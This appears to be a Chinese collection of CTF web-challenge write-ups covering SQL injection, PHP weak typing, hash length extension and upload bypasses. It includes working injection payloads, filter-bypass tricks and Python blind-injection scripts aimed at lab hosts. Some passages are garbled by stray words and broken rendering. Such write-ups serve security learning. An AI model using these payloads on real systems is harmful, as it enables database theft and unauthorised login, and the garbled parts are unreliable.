关于CTF学习总结

后台登陆:
CTF地址http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
基本思路:1,查看源码,看到注释有 介绍,关于MD5加密。
在这里插入图片描述
这里面的md5()函数有两个参数,一个是要加密的字符串,另外一个是输出格式,具体是
raw
可选。规定十六进制或二进制输出格式:javascript

TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数php

可是组成查询语句的时候这个hex会被转成字符串,若是转换以后的字符串包含’or’,就会和原查询语句一块儿组成html

$sql=“select password from users where password=’‘or’’”
致使了sql注入。java

提供一个字符串:ffifdyoppython

md5后,276f722736c95d99e921722cf9ed621cmysql

再转成字符串: 'or’6<其余字符>
---------------------加了料的报错注入
CTF题地址:http://ctf5.shiyanbar.com/web/baocuo/index.php
基本思路:第一步:看源代码—>第二步:提交单引号,看有没有报错,肯定是否有注入。
看源码,发现一点提示git

试了以后在username和password提交单引号都报错,说明都注入了,接下来就是构造sql注入语句了。web

第一条 username=1’ or extractvalue/&password=1/(1,concat(0x7e,(select database()),0x7e))or’sql

这里须要用的知识数据库

1.http分割注入(用注释符/**/把中间的语句注释掉)

2.extractvalue函数(解析XML,返回查询的语句和concat链接起来,会提示报错。因此会把信息报出来)

3.concat函数(concat(a,b,c)把字符串abc连起来,由于报错出来的字符有限,要用特殊字每链接, 这样会完整的报出来。因此会用到0x7e,就是~符号)

得出数据库名


XPATH syntax error: ‘error_based_hpf
第二条username=1’ or extractvalue/&password=1/(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema regexp database()),0x7e))or’

这个和上面的差很少同样,改变了一下查询语句(ps:这道题过滤了等号,因此能够用 in(),regexp()’'等方法绕过)

用到了group_concat()函数,由于查询结果有多行(多个表),这个函数的做用是将多行聚合为一行返回结果。

得表名 XPATH syntax error: ‘ffll44jj,users’ 两个表,一看就是前一个

第三条username=1’ or extractvalue/&password=1/(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name regexp ‘ffll44jj’),0x7e))or’

获得字段名XPATH syntax error: ‘value

第四条 username=1’ or extractvalue/&password=1/(1,concat(0x5c,(select group_concat(value) from ffll44jj)))or’

XPATH syntax error: ‘\flag{err0r_b4sed_sqli_+_hpf}’
---------------------题三:认真一点-----
CTF地址:http://ctf5.shiyanbar.com/web/earnest/index.php
刚打开是一个输入框,第一反应是sql注入,通过各类实验咱们的出结论

1.提交1或用语句让框内为真,显示You are in。

2.提交语句有错误或语句让框内为假,不报错,但显示You are not in(实质和报错同样)

3.提交某些特殊字符会被过滤并显示sql injection detected,通过各类测试(可用Burp suite进行模糊测试或脚本提交敏感字符)发现过滤的字符有and,空格,+,#,union,逗号,

4.提交语句id=1’or’1’='2,若是网页对or没有任何处理的话,应返回You are in(由于后面的语句错误,至关于只提交id=1),但返回的倒是You are not in,说明or被处理了。通常的后台处理逻辑是匹配or、or(不分大小写)、or+空格并替换为空。尝试改变大小写和用oorr代替,发现回显都为You are in,也就是说,后台处理应该是匹配or(小写),并将其替换为空,而且仅仅处理了一次。因此在接下来的语句构造中咱们能够用oorr,OR等代替or。

那么接下来咱们使用python脚本进行盲注

跑数据库名长度->跑数据库名->跑表名长度->跑表名->跑字段名长度->跑字段名
连接中脚本思想:经过构造 2’oorr(这里放语句)oorr’2 ,当括号中括号为真时,页面返回You are in ; 不然返回其余。

经过requests.post(url,data) 一个个将猜数字,猜库名表名字母的语句post上去,当"You are in" 出如今 requests.post(url,data).txt 时,说明返回成功,返回当前语句中猜想的字母,数字。

1.因为提取字符函数substr()被过滤了,用mid()函数达到一样效果

2.因为逗号被过滤了,在mid()函数中用from(%d)for(1)代替逗号分隔符,如mid((database())from(1)foorr(1))表明库名第一个字母(for中的or也被过滤了,因此用foorr)。

3.因为空格被过滤了,咱们用

flag = flag.replace(’ ', chr(0x0a))
将构造语句中的空格用chr(0x0a),也就是换行符\n替代(这也行?),其实在原代码语句中,后面用括号代替空格的状况也能够改回用空格了。

4.提醒requests.post(url,data)中的data必定要是字典{id:“ ”}。

5.猜长度的语句和猜字母的同样,只不过放在后面的字母为’’,同时作一个计数器,当匹配到空时,说明名字匹配结束,返回计数器当前的数字就是名字长度。

(group_concat(table_name separatoorr ‘@’)
(group_concat(column_name separatoorr ‘@’)
用以上语句代替table_name和column_name,是由于可能有多个表段和多个字段,这个语句让多个表名,字段名一块儿输出并用@将之分隔。具体解释参考 这个
7.最后有个小坑就是用脚本跑出来的数据长度13位不是实际的穿的长度,由于数据中含有的-是空格转义来的,脚本识别到就觉得数据结束了(这里不是很明白,空格和空不是不同么?为何遇到空格就停了)。由上面可知,最后爆出的flag是flag{hahayou-win!}中的-是空格,因此真正的flag是flag{hahayou win!}。

首先刚进网页就是一个have fun! 看了源码没有什么提示,也没有输入框,那就打开F12看看

响应头中有一个hint,打开hint的地址,获取源码。

foreach([$_POST] as KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ foreach(global_var as $key => $value) {
v a l u e = t r i m ( value = trim( value);
is_string($value) && r e q [ req[ key] = addslashes(KaTeX parse error: Expected 'EOF', got '}' at position 14: value); }̲ } 源码中把number变成数组$req[“number”],从作题过程来看这俩货应该都输表明输入的number值,但变成数组后过滤了原来值中的空格而且在单引号和双引号前加了反斜杠 详见 trim()函数的用法 和addslashes()函数的用法
如下展现关键源码,获取flag有四个条件

if(is_numeric($_REQUEST[‘number’])){

$info=“sorry, you cann’t input a number!”;//条件1:输入的不能只是数字

}elseif( r e q [ n u m b e r ] ! = s t r v a l ( i n t v a l ( req[&#x27;number&#x27;]!=strval(intval( req[‘number’]))){

$info = "number must be equal to it's integer!! ";  //条件2:输入的值通过变整型又变成字符型后应该与原来同样

}else{

$value1 = intval($req["number"]);
 $value2 = intval(strrev($req["number"]));  

 if($value1!=$value2){//条件3:输入的值直接变成整型应该和其颠倒以后再变成整型同样
      $info="no, this is not a palindrome number!";
 }else{
      
      if(is_palindrome_number($req["number"])){//条件4:输入的不能是回文,就是颠倒和原来不能同样
          $info = "nice! {$value1} is a palindrome number!"; 
      }else{
         $info=$flag;
      }
 }

}

echo $info;

开始想的是,不是不能是数字么?那就字符吧,但想了想发现全部的带字符的输入都不能经过条件2的验证。

如:输入ab,intval(ab)=0,strval(0)=‘0’!=ab (输入字符后面带数字与字符同理,详见inval()的用法和strval()的用法和==)

输入1ab intval(1ab)=1,strval(1)='1'!=1ab

那只能不输入字符了,易得条件1,2也同时过滤了浮点型,好像输什么都不对,卡在这了。

(但为何输入‘数字’会被条件2挡住?感受源码中的变数组那部分应该没我想的那么简单)

参考了下别人的WP http://www.javashuo.com/article/p-mvjkkzvl-d.html
有两种方法能够解决这道题

一. 溢出intval()函数

intval()函数有个特质,就是只能返回int范围的数,int的范围取决于操做系统是32位仍是64位,咱们从响应头能够看出

网页系统是32位,32位系统int的取值 min:-2147483648 max:2147483647 (取决于2的31次方,最高位为符号位)

intval()函数对于超出这个范围的处理是向下取,如intval(99999999999)=intval(2147483647),

那么咱们只要让number=2147483647就能够知足条件2,条件3,条件4.

(问:构造更大的数同样能够知足条件2,3,4啊,实际上却通不过?)

那么怎么绕过条件1又不影响咱们想输入的值呢?WP上面说在提交的数字先后加上%20(空格),%00(空),就会让傻傻的

is_numeric()函数把上传的数字识别为非数值…(好吧不懂,大佬说是就是咯)。因此咱们构造

poc:number=2147483647%20 等(number=%202147483647不行,由于没有太傻的is_numeric会过滤数字前面的空格)

获得flag

二.构造0=0

poc是number=0e-0%00。什么意思呢?首先条件1,2没问题,由于e是科学计数法,条件2就没把e当成字符。而后条件三: 原来的数值为0e-0是零的负零次方等于零(emmm,没想到对不起数学老师)倒过来是0-e0就是零减去e的零次方,仍是为零,因此条件三pass,条件四。。这原本就不是回文。全过,也获得答案。

----登录一下好吗 SQL

分析: * / select union or 都被过滤

猜想后台查询语句:$sql = “select user from flag where user=’$_POST[‘user’]’ and password=’$_POST[‘password’]’”;


username:1
password:1

$sql ="select user from flag where user=‘1’ and password=‘1’ ";
1
目前的目的是成功登录,即SQL查询不报错

构造:
username:’=’
password:’=’

效果:$sql ="select user from flag where user=‘NULL’=‘NULL’ and password=‘NULL’=‘NULL’ "; 【单引号中的内容为空,条件成立,未报错】【万能密码】

原文:https://blog.csdn.net/weixin_40776369/article/details/83316472

—who are you?------
原题连接: http://ctf5.shiyanbar.com/web/wonderkun/index.php

首先打开连接看到显示your ip is : xxx

首先想到这个题目与ip有关系,即与X-Forwarded-For存在必定关系

实验了一下,这里使用了google的Modify-http-headers插件进行修改ip为127.0.0.1,发现连接打开显示确实改变了,可是依旧没有任何关于flag的线索,bp看了一下,,,果真是想固然,一无所得,而后从新看了下题目意思

划重点:记录db中去

完美,这就告诉了咱们一件事,即X-Forwarded-For对应值被先存入数据库,再取出来,而不是直接显示给咱们看

盲注,没有什么其余的注入方式了,此时能想到的(做者的水平,哈哈哈)盲注了

盲注分三种常见形式:分别基于布尔值,报错,时间延迟

简单测试,sleep有延时反应,应该是时间盲注了

下面附上代码:

# -*-coding:utf-8-*-
 
import requests
import time
 
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'  #不区分大小写的
 
flag = ""
print("Start")
for i in range(33):
    for payload in payloads:
        starttime = time.time()#记录当前时间
        url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"#题目url
        headers = {"Host": "ctf5.shiyanbar.com",
                   "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
                   "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                   "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
                   "Accept-Encoding": "gzip, deflate",
                   "Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",
                   "Connection": "keep-alive",
                   "X-FORWARDED-FOR":"127.0.0.1' and case when ((select count(flag) from flag where flag like '"+flag+payload+"%')>0) then sleep(5) else sleep(0) end and '1'='1"
                   }
		#bp拿到header并对X-FORWARDED-FOR进行修改,后面语句大意为从flag中选择出flag,若首字母段为flag,payload变量拼接则sleep5秒,看不懂的能够学一下case when语句和like %语句
        res = requests.get(url, headers=headers)
        if time.time() - starttime > 5:
            starttime2 = time.time()
            res = requests.get(url, headers=headers)
            if time.time() - starttime > 5:
                flag += payload
                print('\n flag is:', flag, )
                break
        else:
            print('',)#没啥解释的了,就是不断试payload,找到就接到flag上去而后继续试下一个
print('\n[Finally] current flag is %s' % flag)
 

未完待续

题目5:因缺思汀的绕过
CTF地址: http://ctf5.shiyanbar.com/web/pcat/index.php
打开后是一个登陆框相似的东西,查看页面源码能够看到有source:source.txt的字样

打开链接:http://ctf5.shiyanbar.com/web/pcat/source.txt

能够看到登陆的php逻辑:

<?php
error_reporting(0);
 
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
	echo '<form action="" method="post">'."<br/>";
	echo '<input name="uname" type="text"/>'."<br/>";
	echo '<input name="pwd" type="text"/>'."<br/>";
	echo '<input type="submit" />'."<br/>";
	echo '</form>'."<br/>";
	echo '<!--source: source.txt-->'."<br/>";
    die;
}
 
function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";
        exit();
    }
}
 
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}
 
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
	die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "浜﹀彲璧涜墖锛�";
    }
}else{
	print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
?>
``

能够看到,这里面有SQL的一个过滤器,把一些sql的关键字例如benchmark,join等都过滤了

并且sql查询语句是:

SELECT * FROM interest WHERE uname = '{$_POST[‘uname’]}

又由:
mysql_num_rows($query) == 1
这个判断能够得知数据库中的记录就只有一条,这部分逻辑大概就是而后经过提交的uname查询出结果,若是结果只有一条则继续,若是查询结果中的pwd字段和post过去的key值相同,则给出flag。
这时就要用到注入的一个小技巧,咱们使用group by pwd with rollup 来在查询结果后加一行,而且这一行pwd字段的值为NULL
在mysql官方文档中是这样描述rollup函数的:

大概的意思就是在GROUP BY子句中使用WITH ROLLUP会在数据库中加入一行用来计算总数,ROLLUP子句的更加详细的用法,能够参考mysql的官方文档,此处就很少作赘述了。
再结合limit和offset就能够写出一个payload
即:输入的用户名为:’ or 1=1 group by pwd with rollup limit 1 offset 2 #
这里解释一下此时执行的SQL:
SELECT * FROM interest where uname=’ ’ or 1=1
group by pwd with rollup (在数据库中添加一行使得pwd=NULL)
limit 1 (只查询一行)
offset 2 (从第二行开始查询)
#注释
此时密码只要为空便可查询成功

题目6:简单的sql注入之3
CTF地址:http://ctf5.shiyanbar.com/web/index_3.php
(2)手工注入:

先令id=1,发现页面正常返回Hello!,而后令id=1’,发现页面报错:

令id=0,页面无错误提示,不过也没有正常返回Hello!的页面

输入?id=1 and 1=2页面正常 ?id=1’ and ‘1’='2 页面无输出

能够看出,这个是字符型SQL注入,未过滤引号和and,条件正确的状况下输出hello,错误无输出,比起SQL盲注,好像又多了语法报错
令id=1’ and(select count(*) from admin)>0 #

发现报错,不存在admin这个表,1’ and(select count(*) from flag)>0 #的时候,返回hello,说明存在flag表

而后是对列名的猜解:

?id=1’and(select 列名 from flag)>-1 #

或?id=1’unionselect 列名 from flag #

当id字段列名存在输出hello,不存在则报错,

?id=1’and(select flag from flag)>-1 #,页面输出hello

最后就是对内容的猜解了,写了一个小脚本自动跑省得手工输入;

其原理就是把字段内容分解成一位一位,而后一个个比较:

#author:Travis Zeng
import requests
import time
import string
strings=string.digits+string.ascii_lowercase
element=[]
element_str=''
FLAG=False
def POC(x,j):
	url='http://ctf5.shiyanbar.com/web/index_3.php?id='
	poc="1'and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23" %(x,i) #python中会将%翻译为结构化输出,若要使用%翻译转义字符则要用%%
	print('testing url:'+url+poc)
	res=requests.get(url+poc)
	if res.headers['Content-Length']=='471':
		return 1
	else:
		return 0
 
for x in range(1,35):
	for i in range(30,129):
		if POC(x,i):
			element.append(i)
			break
		elif i==128:
			FLAG=True
	if FLAG:
		break
 
for k in range(0,len(element)):
	element_str=element_str+chr(element[k])
print("Test Finish! ")
print(element_str)

题目7:简单的sql注入之2
CTF地址:http://ctf5.shiyanbar.com/web/index_2.php
首先尝试单引号:
在这里插入图片描述

根据报错,能够知道这里单引号没有被过滤,他能够影响到sql语句,继续尝试其余的发现,他过滤了空格,固然,空格能够用%20,%0a,//,/!/,/!50000/,+,()替换,其中%20,+和()均被过滤了,尝试//替换空格能够绕过,对于其余的字符都没有作什么特别的过滤
  
这题和上题区别在于空格被过滤,

题目8:简单的sql注入
CTF地址:http://ctf5.shiyanbar.com/web/index_2.php
首先仍是尝试单引号:

在这里插入图片描述

没有被过滤,而后尝试逻辑运算,and被过滤了但还好or没有被过滤:

在这里插入图片描述

下面尝试爆表名和字段,发现他过滤了不少关键字:and,select,from,union,where,这里绕过关键字的方法有:关键字中间加/**/隔断,/!关键字/,关键字中间加%0b隔断,关键字重写(关关键字键字),大小写混合等等,尝试后/!/能够绕过,仍是按套路,先拿flag作表名和字段名试试:
在这里插入图片描述

说明存在flag表,那基本就是老套路了,能够继续用这个方法验证,下面我就直接爆flag了:
在这里插入图片描述

上面直接用以前的方式会报错,后来注意到应该是后面还有个查询的判断条件,因此就算注释后仍是有报错

ps:这里还有一种检验表名是否存在的方式:
在这里插入图片描述

题目9:天下武功惟快不破
CTF地址:http://ctf5.shiyanbar.com/web/10/10.php
首先看源码发现他给的提示:

在这里插入图片描述

和post的参数有关,那就看看报文吧
在这里插入图片描述

发现了一个FLAG参数是用base64编码的,解码后内容是:P0ST_THIS_T0_CH4NGE_FL4G:Hrd54sRiP,试验了几回发现:后的字符是随机的,既然他提示的是快速post提交参数key,首先想到的就是写py脚本构造请求头,脚本以下:

import requests
 2 import base64
 3 
 4 url = 'http://ctf5.shiyanbar.com/web/10/10.php'
 5 s = requests.session()
 6 response = s.get(url)
 7 head = response.headers
 8 flag = base64.b64decode(head['FLAG']).split(':')[1]
 9 data = {'key': flag}
10 result = s.post(url=url, data=data)
11 print result.text

大体的执行过程就是获取报头中FLAG字段的内容,用base64解码,而后做为key的值构造post请求,最后打印请求响应的内容,即flag,运行结果以下:

在这里插入图片描述

题目10:让我进去
CTF地址: http://ctf5.shiyanbar.com/web/kzhan.php
这道题的突破口很奇怪,抓包后发现cookie里有一个可疑的参数source=0
在这里插入图片描述
尝试把source改为1后,就爆源码了,因此说ctf里的姿式都是千奇百怪的…下面是源码:

复制代码
 1 <html>
 2 <body>
 3 
 4 <pre>
 5 $flag = "XXXXXXXXXXXXXXXXXXXXXXX";
 6 $secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
 7 
 8 $username = $_POST["username"];
 9 $password = $_POST["password"];
10 
11 if (!empty($_COOKIE["getmein"])) {
12     if (urldecode($username) === "admin" && urldecode($password) != "admin") {
13         if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
14             echo "Congratulations! You are a registered user.\n";
15             die ("The flag is ". $flag);
16         }
17         else {
18             die ("Your cookies don't match up! STOP HACKING THIS SITE.");
19         }
20     }
21     else {
22         die ("You are not an admin! LEAVE.");
23     }
24 }
25 
26 setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
27 
28 if (empty($_COOKIE["source"])) {
29     setcookie("source", 0, time() + (60 * 60 * 24 * 7));
30 }
31 else {
32     if ($_COOKIE["source"] != 0) {
33         echo ""; // This source code is outputted here
34     }
35 }
36     </pre>
37 <h1>Admins Only!</h1>
38 <p>If you have the correct credentials, log in below. If not, please LEAVE.</p>
39 <form method="POST">
40     Username: <input type="text" name="username"> <br>
41     Password: <input type="password" name="password"> <br>
42     <button type="submit">Submit</button>
43 </form>
44 
45 </body>
46 </html>

研究一下他的源码,看看他是怎样实现的,简单来讲就是cookie中的参数getmein不为空时,传入通过url编码的参数username和password,而后将二者解码后与后台一个参数secret拼接成一个字符串,而后作一个md5加密,若是和cookie中参数getmein的值相同,则会爆出flag,但问题是cookie中没有这个参数getmein,也就是说须要咱们本身构造,可是能够根据cookie中存在的参数sample-hash,其生成的原理进行构造,sample-hash是一个md5值,解码该值后能够得到后台的secret,而后就能够根据这个值构造正确的md5值了,可是md5加密是单项不可逆的,要解密的话通常方法是用暴力破解,暴力确定是不可能了,毕竟secret有15位,这里要用到的一个知识点就是hash长度扩展攻击,这里有一篇文章就是讲解这个知识点的:http://www.freebuf.com/articles/web/69264.html

思路是这样,但这道题还没吃透

题目11:forms
CTF地址:http://ctf5.shiyanbar.com/10/main.php
对于这类题已经总结出一些经验了,通常页面简单且没有特别提示的,那么不是源码里有东西,就是发送请求的包里有东西,这道题就是在源码里,并且多半是提供特别信息或者获取源码之类的
在这里插入图片描述

能够看到在源码中有一个隐藏表单,名字是showsource,value是0,类似的题以前已经遇到过了,不过以前是在发送的包里,一样的咱们把这里的value改为1,便可获取源码:
在这里插入图片描述

以后的就简单了,直接根据源码post数据,结果以下:

在这里插入图片描述
  题目11:天网管理系统
  CTF地址:http://ctf5.shiyanbar.com/10/web1/
  这道题仍是看源码:
在这里插入图片描述

看到注释里面有一个提示,当传入的username值经md5加密后等于0,就会返回某样东西,多半就是flag或者源码

在某些状况下,PHP会把类数值数据(如含有数字的字符串等)转换成数值处理,== 运算符就是其中之一。在使用 == 运算符对两个字符串进行松散比较时,PHP会把类数值的字符串转换为数值进行比较,若是参数是字符串,则返回字符串中第一个不是数字的字符以前的数字串所表明的整数值。好比: ‘3’ == '3ascasd’结果为true。

推荐看看这篇writeup:http://www.cnblogs.com/ssooking/p/5877086.html

所以只要找到一个字串加密后第一个字符为0便可,整体结构就是e+数字,这里提供几个:240610708,aabg7XSs,aabC9RqS,s878926199a、QNKCDZ
在这里插入图片描述

这里咱们获取到一个路径,多半就是源码的路径了:
在这里插入图片描述

源码中关键的一个函数unserialize(),这是一个和php序列化有关的函数:

serialize() 对输入的数据进行序列化转换
  unserialize() 恢复原先变量,还原已经序列化的对象。

他的大体意思是,将接收到的password通过序列化还原成数组,其中user和pass都要等于后台的某个值,而后会返回一个flag,但关键是咱们并不知带后台的这两个值是什么,因而这里考察的就是php的弱类型了,bool类型的true跟任意字符串均可以弱类型相等,所以咱们能够构造bool类型的序列化数据:a:2:{s:4:“user”;b:1;s:4:“pass”;b:1;}这句话的意思是password是一个长度为2的数组(a指数组,s指字符string,数字是长度),他的一个元素是user,长度为4,bool值为1,另外一个元素是pass,长度为4,bool值为1(b指bool值),因而运行后结果以下:
在这里插入图片描述
题目12:once more
CTF地址http://ctf5.shiyanbar.com/web/more.php?password=1
咱们打开解题连接,界面以下:
在这里插入图片描述

这题要你输入password,咱们能够先试试,123看看对不対,显然,确定不对,咱们该怎么办呢?咱们看到这个页面能够看到源码,咱们点击view the source code,咱们看到了一些比较有意思的东西,首先是ereg函数,这个函数有个漏洞,等下咱们就会说到!

下面先让咱们理一理这个password的条件吧!

首先是输入的字符在az,AZ,0~9之间,也只属于这个条件里,其次密码长度要小于8,值要大于9999999,这不很矛盾嘛?中学的时候咱们有学过科学记数法,这题用科学记数法表示不就解决了问题嘛?咱们再看下一个条件,密码必定要包含*-*,这个条件彷佛和第一个条件冲突了啊,那这题就无法作了?

刚才咱们提到了ereg函数,这个函数有个很大的毛病,能够截断,咱们可使用BP或者以前学到的00截断来进行操做,因此咱们能够写出如下password:

9e9%00*-*

输入之后点击check,会提示这么一行信息。。。。
在这里插入图片描述

输入的密码不合法,而后咱们能够看到这个网址password,传参数的时候%00自动改为了2500,这个也是浏览器的一个漏洞,咱们只须要在网址上进行修改就好了!
在这里插入图片描述

这样就获得了Flag!
在这里插入图片描述
题目13:Guess Next Session
CTF地址: http://ctf5.shiyanbar.com/web/Session.php
这是我入门Web开始写的第八道题,打开解题连接,实际上是利用BurpSuite对这个网站进行抓包拦截而后分析,咱们先作作看!

在这里插入图片描述

而后咱们只须要把包发送给Repeter就行了

在这里插入图片描述

而后咱们删除掉password和Cookie的值,而后Go运行便可!

获得的Flag应该就是咱们所求的Key
在这里插入图片描述

题目14:FLASE
访问连接
在这里插入图片描述

<?php if (isset($_GET['name']) and isset($_GET['password'])) { if ($_GET['name'] == $_GET['password']) echo '

Your password can not be your name!

'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo '

Invalid password.

'; } else{ echo '

Login first!

'; ?>

传入的name和password不能同样,可是name和password的sha1加密的值得相等

想到的是传数组

http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2

题目15:上传绕过
CTF地址:解题连接: http://ctf5.shiyanbar.com/web/upload

直接上传.php会被拦截。尝试上传图片马,能上传但不符合题目要求。

尝试bp抓包改后缀名无果,并不是在客户端javascript验证。

尝试截断路径绕过,上传1.jpg文件,bp抓包,路径upload后添加1.php空格,将hex中空格20改成00,forward,成功绕过。

题目16:程序逻辑问题
CTF地址:http://ctf5.shiyanbar.com/web/5/index.php

if($_POST[user] && $_POST[pass]) {
	$conn = mysql_connect("********, "*****", "********");
	mysql_select_db("phpformysql") or die("Could not select database");
	if ($conn->connect_error) {
		die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
	printf("Error: %s\n", mysql_error($conn));
	exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
	echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
	
  }
  
  
}

能够看到是使用post方式,pass是通过md5加密的。只须要构造row[pw]和pass加密后的的值相等就能够实现绕过,其中pass加密后的值咱们能够经过输入控制,从而达到不用验证数据库中的真实帐号密码。
帐号框输入: xxx’ and 0=1 union select “202cb962ac59075b964b07152d234b70” # 密码框输入:123
保证md5与输入的密码相同便可 其中0=1可使前面语句失效,从而实现绕过。

题目17:php大法
CTF地址:http://ctf5.shiyanbar.com/DUTCTF/index.php
打开连接发现 Can you authenticate to this website? index.php.txt
因而进入index.php.txt页面

G E T [ i d ] = u r l d e c o d e ( _GET[id] = urldecode( _GET[id]);
if($_GET[id] == “hackerDJ”)
{
echo “

Access granted!

”;
echo "

flag: *****************}

";
}
此处应该注意encode两次(浏览器端+1次)
http://ctf5.shiyanbar.com/DUTCTF/index.php?id=%68%61%63%6b%65%72%44%4a

Access granted!

flag: DUTCTF{PHP_is_the_best_program_language}

CTF题目:看起来有点简单
CTF地址:http://ctf5.shiyanbar.com/8/index.php?id=1
一、判断是否存在注入点

在这里插入图片描述

http://ctf5.shiyanbar.com/8/index.php?id=1 and1=1

在这里插入图片描述

http://ctf5.shiyanbar.com/8/index.php?id=1 and1=2
回显不一样,说明存在注入点二、猜字段数

在这里插入图片描述

http://ctf5.shiyanbar.com/8/index.php?id=1 order by 2

http://ctf5.shiyanbar.com/8/index.php?id=1 order by 3
字段数为2三、查找数据库

在这里插入图片描述

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,schema_name from information_schema.schemata

在这里插入图片描述

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,database()
my_db才是咱们要找的数据库四、查找表
在这里插入图片描述

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,table_name from information_schema.tables where table_schema='my_db'
找到thiskey这个表五、查看thiskey表中的列
在这里插入图片描述

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,column_name from information_schema.columns where table_schema='my_db'
发现k0y列六、查看k0y列中的数据
在这里插入图片描述
CTF题目18:貌似有点难
CTF地址:http://ctf5.shiyanbar.com/phpaudit/
其实很简单,代码有提示
使用火狐插件X-Forwarded-For把ip地址改成1.1.1.1,获得flag

CTF题目19:猫抓老鼠
CTF地址:http://ctf5.shiyanbar.com/basic/catch/
根据题目提示进行抓包

打开浏览器菜单,按下快捷键f12进入web控制台

在弹出的web控制台中,选择到“网络”

点击“从新载入”,或者按下快捷键F5,刷新网页就能抓取网页上的内容

接下来,选中你要抓包的那条连接,相关的抓包数据就会显示出来了

还能够查看cookie,相应的参数就能够了,点击右键,就能把数据复制出来了

抓包过程

找到Content-Row后面的内容,复制做为pass key传进去

获得key

CTF题目20:

提交admin

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login
用sqlmap检测是否有注入

┌─[root@sch01ar]─[/sch01ar]
└──╼ #sqlmap -u “http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login
存在注入
在这里插入图片描述

对数据进行读取

┌─[root@sch01ar]─[/sch01ar]
└──╼ #sqlmap -u “http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login” --dbs
┌─[root@sch01ar]─[/sch01ar]
└──╼ #sqlmap -u “http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login” --tables -D “test”
┌─[root@sch01ar]─[/sch01ar]
└──╼ #sqlmap -u “http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login” --dump -T “admin” -D “test”
读出帐号密码
在这里插入图片描述

登录,获得flag

在这里插入图片描述